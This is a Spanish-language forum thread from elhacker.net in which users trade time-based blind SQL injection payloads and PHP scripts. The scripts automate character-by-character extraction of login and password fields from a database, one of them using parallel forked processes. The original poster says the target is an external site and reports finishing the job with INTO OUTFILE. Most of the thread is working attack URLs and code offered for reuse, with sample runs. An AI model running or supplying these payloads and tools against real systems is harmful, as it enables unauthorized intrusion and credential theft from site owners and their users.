elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas  (Leído 4,509 veces)
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« en: 1 Febrero 2009, 19:24 pm »

Hi
 ;D


Espero que alguie me pueda dar un cable.

Mi Problema es el Sguiente


Tengo una Inyeccion Time-based Blind SQL; que me funciona de maravillas.

Citar
Dato = es lo mismo que hacer 2+and+1=0+union+select+all+1,2,3,4,5,6,7,8,9/* <= INY NORMAL.

Código
  1. http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),0,1)/**/=/**/CHAR(%2297%22),BENCHMARK(1500000,MD5(CHAR(1))),NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+bd.tabla+WHERE+id=1+LIMIT+0,1/*

Cuando es Falso tiene un Retorno de 4 a 7 segundos y cuando es verdadero tiene un deface de mas de 15 seg, entre 20 a 21 segundos.

Codie una tool para este fallo, q me permite automatizar todo, lo posteo por si alguien luego nececita algun cable con esto.

php script.php 1 97 //Empieza del 2 caracter a buscar desde la letra a
Código
  1. function GET($url) {
  2. $curl = curl_init();
  3. $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  4. $header[] = "Cache-Control: max-age=0";
  5. $header[] = "Connection: keep-alive";
  6. $header[] = "Keep-Alive: 300";
  7. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  8. $header[] = "Accept-Language: en-us,en;q=0.5";
  9. $header[] = "Pragma: ";
  10. curl_setopt($curl, CURLOPT_URL, $url);
  11. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  12. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  13. curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  14. curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  15. curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  16. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  18. if (!$html = curl_exec($curl)) {
  19. $html = file_get_contents($url);
  20. }
  21. curl_close($curl);
  22. return $html;
  23. }
  24.  
  25.  
  26.  
  27. $v = $argv[2]; //desde donde empieza el ansii
  28. $limit = $argv[1]; // valor q obtener, el primero, segundo tercer caracter , 1,2,3
  29.  
  30. for($x=$v;$x<=122;$x++){
  31. $starttime=time();
  32. echo "[+] Testing :>  ".$x."   =================>     ".chr($x);
  33.  
  34. $source = GET("http://www.site.com/bug=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),".$limit.",1)/**/=/**/CHAR(%22".$x."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+0,1/*");
  35.  
  36. $endtime=time();
  37.  
  38. $difftime=$endtime - $starttime;
  39. echo "              DIFERENCIA  -> ".$difftime."\r\n";
  40. if ($difftime >15){ //Tiempo max de Respuesta TRUE
  41. system("clear");
  42. echo "              DIFERENCIA  -> ".$difftime."\r\n";
  43. echo " #####################ENCONTRADO [ ANSII[".$x."]    ".$limit."   ] ===> ".chr($x)."\r\n";
  44. exit();
  45. }
  46.  
  47. }



buenooo. ahora bien obtengo todos los datos que nececito, pero me surgio un gran drama, la pass y el user es case sentitive, por lo cual nececito ver si son mayusculas o minisculas, pero el blind me tira la misma cantidad de tiempo cuando es una A mayusculas que cuando es una a miniscula, y nose porque, 115 (s) y 83(S), son 2 numeros distintos pero de igual forma, me dice que es verdadero.

Citar
ozx@OzX:~/Escritorio$ php adminblind.php 1  115
  • Testing :>  115   =================>     s              DIFERENCIA  -> 20
              DIFERENCIA  -> 20
 #####################ENCONTRADO [ ANSII[115]    1   ] ===> s
ozx@OzX:~/Escritorio$ php adminblind.php 1 83
  • Testing :>  83   =================>     S              DIFERENCIA  -> 21
              DIFERENCIA  -> 21
 #####################ENCONTRADO [ ANSII[83]    1   ] ===> S



¿Como podria atravez de la Iny indentificar si es LOWER o UPPER ?


taba provando algunos SELECT+IF+LOWER, y UPPER, pero la iny se me va al carajo..

Alguna idea?

Saludos¡
« Última modificación: 1 Febrero 2009, 19:39 pm por OzX » En línea

Undersecurity.net
nacho87

Desconectado Desconectado

Mensajes: 71


Ver Perfil WWW
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #1 en: 1 Febrero 2009, 19:59 pm »

estas seguro de que el sistema es case sensitive? porque si te reconoce como iguales un char en mayusculas y otro en minusculas es porque al sistema le da igual una que otra.
No se si estas haciendo las pruebas en tu sistema o en alguno que conozcas y conoces el resultado que te debería dar pero sino, no puede ser que te esté dando el hash del password, que éste si sea indiferente entre minusculas y mayusculas?
En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #2 en: 2 Febrero 2009, 05:21 am »

Completamente seguro que es case.
es un site externo.

pues creo que el problema esta , en la misma inyecion, porque creo el traspaso directo con char(number), por lo cual testeare con la otra forma, ansii(substring... etc.

Si me va bien cuento q tal ¡
En línea

Undersecurity.net
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #3 en: 5 Febrero 2009, 03:13 am »

lo solucione xd¡
aunque no de la mejor forma.
tenia magic quotes off, y privilegios de Y , Into OUT FIle, y ya fue historia xD¡.
de todas formas es bastante particular el time based.

Saludos¡
En línea

Undersecurity.net
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #4 en: 5 Febrero 2009, 05:57 am »

Código:
ansii(substring... etc.

duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.
En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #5 en: 5 Febrero 2009, 17:51 pm »

Código:
ansii(substring... etc.

duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.


jawjwajwaj XD
ascii(substring(( :D 


Código
  1. http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*

:D asi me resulto, osea asi me indentificaba las mayus de las minus.
pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados


Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize.


Código
  1. <?
  2. //Coded by OzX http://foro.undersecurity.net
  3.  
  4. function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
  5. function GET($url) {
  6. $curl = curl_init();
  7. $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  8. $header[] = "Cache-Control: max-age=0";
  9. $header[] = "Connection: keep-alive";
  10. $header[] = "Keep-Alive: 300";
  11. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  12. $header[] = "Accept-Language: en-us,en;q=0.5";
  13. $header[] = "Pragma: ";
  14. curl_setopt($curl, CURLOPT_URL, $url);
  15. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  16. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  17. curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  18. curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  19. curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  20. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  21. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  22. if (!$html = curl_exec($curl)) {
  23. $html = file_get_contents($url);
  24. }
  25. curl_close($curl);
  26. return $html;
  27. }
  28. function ordenar($file){
  29. $file = file($file);
  30. foreach ($file as $var){
  31. list($ansii,$valores)= explode(">",$var);
  32. $vars[$ansii] = $valores;
  33. }
  34. ksort($vars);
  35. foreach ($vars as $var){
  36. $data .=trim($var);
  37. }
  38. return array($data,$vars);
  39. }
  40.  
  41.  
  42. function blind_time($limit,$file,$db,$tabla,$columna){
  43. $ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
  44. 47,32,0, //null, space, _, ,
  45.        48,49,50,51,52,53,54,55,56,57, #0-9
  46. 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,     #A-Z
  47. 33,35,36,37,38,45,46  
  48. );
  49.  
  50. for ($x=0;$x<=count($ascii);$x++){
  51. $f1=fopen($file,"a");
  52. $char = $ascii[$x];
  53. $starttime=time();
  54. echo "[+] ".$limit ." >>> Testing :>  ".$char."   =================>     ".chr($char)."\r\n";
  55. $source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");
  56.  
  57. $endtime=time();
  58. $difftime=$endtime - $starttime;
  59. //echo "              DIFERENCIA  -> ".$difftime."\r\n";
  60. if ($difftime >15){
  61. $info = $limit . ">".chr($char)."\n";
  62. $string.= chr($char); //Obtenemos el Valor y lo Guardamos
  63. echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
  64. fwrite($f1,$info);
  65. fclose($f1);
  66. exit();
  67. }
  68. }
  69. }
  70.  
  71.  
  72.  
  73. $limit = $argv[2];
  74. $start = $argv[1];
  75. //$db = $argv[3];
  76. //$tabla = $argv[4];
  77. //$columna = $argv[5];
  78.  
  79.  
  80.  
  81.  
  82. $file = rand().".txt";
  83. if (file_exists($file)) {
  84.   unlink($file);
  85. }
  86.  
  87.  
  88. $pids = array();
  89. for($i=$start;$i<=$limit;$i++)
  90. {
  91.  $pid = pcntl_fork();
  92.   if($pid == -1) { die('ERROR FORK');
  93.  } else if ($pid) {
  94.    $pids[] = $pid;
  95.  } else {
  96.    blind_time($i,$file,$db,$tabla,$columna);
  97.    exit();
  98.  }
  99. }
  100. foreach($pids as $pid) {
  101.  pcntl_waitpid($pid, $status);
  102.  
  103. }
  104.  
  105. list($data,$vars) = ordenar($file);
  106. echo "TABLA :> ".$tabla."   COLUMNA :>> ".$columna."\r\n";
  107. echo "Valor Obtenido :> ".$data."\r\n";
  108. echo "DEBUG :>\r\n";
  109. print_r($vars);
  110. unlink($file);
  111.  
  112.  
  113. ?>

los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante.

Saludos¡
OzX¡

« Última modificación: 5 Febrero 2009, 18:11 pm por OzX » En línea

Undersecurity.net
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #6 en: 9 Febrero 2009, 19:56 pm »

Venga, lo pruebo hoy por la noche y ya te cuento OzX

-berz3k.

En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #7 en: 10 Febrero 2009, 21:53 pm »

Me gusta tu code PHP te ha quedado muy wuapo, sin embargo estoy trasteando cada vez mas en PHP, ahora el string a testear es el siguiente (manualmente) :

Código:
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=95
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=96
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=97

Para solo cuestiones de prueba y ver su funcionamiento en PHP a traves de tu code he intentado algunas cosas, vaya que lo tengo hecho en PERL y me funciona correctamente, pero me estoy enamorando de PHP por su facilidad de programar XD

Segun yo, y solo para pruebas podria ser:
Código:
$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null)+from+users+limit+0,1/*");

o Tambien
Código:
$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))))+from+users+limit+0,1/*");

Mmm algo anda mal, probare mas tarde, ideas OzX?

Ejempo TABLA
Código:
+++++++++++++++++++++++++++++++++++++++++
| users |
+++++++++++++++++++++++++++++++++++++++++
| id |      name | password |
+++++++++++++++++++++++++++++++++++++++++
|  1 | administrator | 1234%&_ |
|  2 |  | |
|  3 |  | |
+++++++++++++++++++++++++++++++++++++++++

Aunque podria agregar la funcion ASCII(SUBSTRING etc etc)+from+users, pero no tendria caso los arrays que declaro OzX.

-berz3k.







« Última modificación: 10 Febrero 2009, 21:57 pm por berz3k » En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #8 en: 10 Febrero 2009, 22:35 pm »

Hi Brota :D


Codie esta tool para una inyeccion tipo
union+select+all+1,2,3,4,5,6,7,8,9.

Citar
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"

Por eso los 9 null.

Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando :D.

Saludos¡

En línea

Undersecurity.net
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
« Respuesta #9 en: 11 Febrero 2009, 08:11 am »

@OzX

Yep. tambien elimine los "nulls" no necesarios, algo me falta..., ando metido en muchas cosas, espero fixear parte de tu code en esta semana, seguramente me lo fixeas antes tu XD, es el mismo proposito pero sin usar el ASCII(substring etc etc) ya que tomara los arrays de tu code, que previamente haz declarado para MAYUSCULAS, MINUSCULAS, chars etc.

-berz3k.
« Última modificación: 11 Febrero 2009, 08:13 am por berz3k » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Método para extraer datos de Blind SQLi
Bugs y Exploits
hkm 0 2,502 Último mensaje 13 Abril 2011, 02:12 am
por hkm
problemas en la obtención de handshake en wifiway3.4 « 1 2 »
Wireless en Linux
hanns 14 9,200 Último mensaje 14 Septiembre 2012, 10:41 am
por hanns
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines